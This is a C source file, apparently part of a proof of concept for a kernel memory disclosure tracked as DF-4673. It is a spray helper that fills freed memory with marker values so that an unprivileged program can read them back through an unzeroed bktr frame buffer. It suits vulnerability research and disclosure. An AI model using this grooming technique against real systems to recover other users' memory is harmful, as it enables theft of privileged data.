/*
 * spray.c -- DF-4673 grooming helper (run as ROOT, then it exits).
 *
 * Dirts `mb` MiB of anonymous memory with a recognizable per-page marker,
 * then exits: the anon pages go to PQ_FREE/PQ_CACHE with contents intact.
 * A subsequent contigmalloc (the METEORSETGEO grow path) recycles some of
 * them into the unzeroed bktr frame buffer, and the unprivileged PoC maps
 * them with mmap() and reads the "root secret" back -- a privilege-boundary
 * kernel memory disclosure.
 *
 * Build: cc -O2 -Wall -o spray spray.c
 */
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

#define MAGIC0	0x524F4F5453454352ULL	/* "ROOTSECR" */
#define MAGIC3	0x4446343637332DULL	/* "DF4673-"  */

int main(int argc, char **argv)
{
	size_t mb, len, off;
	uint64_t *q;
	int tag, page = 0;

	if (argc < 3) {
		fprintf(stderr, "usage: spray <MiB> <tag>\n");
		return 2;
	}
	mb = (size_t)atoi(argv[1]);
	tag = atoi(argv[2]);
	len = mb << 20;

	q = mmap(NULL, len, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (q == MAP_FAILED) { perror("mmap"); return 3; }

	for (off = 0; off < len; off += 4096, page++) {
		uint64_t *p = (uint64_t *)((char *)q + off);
		int i;

		p[0] = MAGIC0;
		p[1] = (uint64_t)(uint32_t)tag;
		p[2] = (uint64_t)(uint32_t)page;
		p[3] = MAGIC3;
		for (i = 4; i < 512; i++)
			p[i] = 0xAA00000000000000ULL | (uint32_t)page;
	}
	printf("spray: dirtied %zu MiB with tag=%d markers, exiting "
	    "(pages -> PQ_FREE/PQ_CACHE, contents intact)\n", mb, tag);
	/* munmap so the pages are actually freed on exit (no COW corpse) */
	munmap(q, len);
	return 0;
}
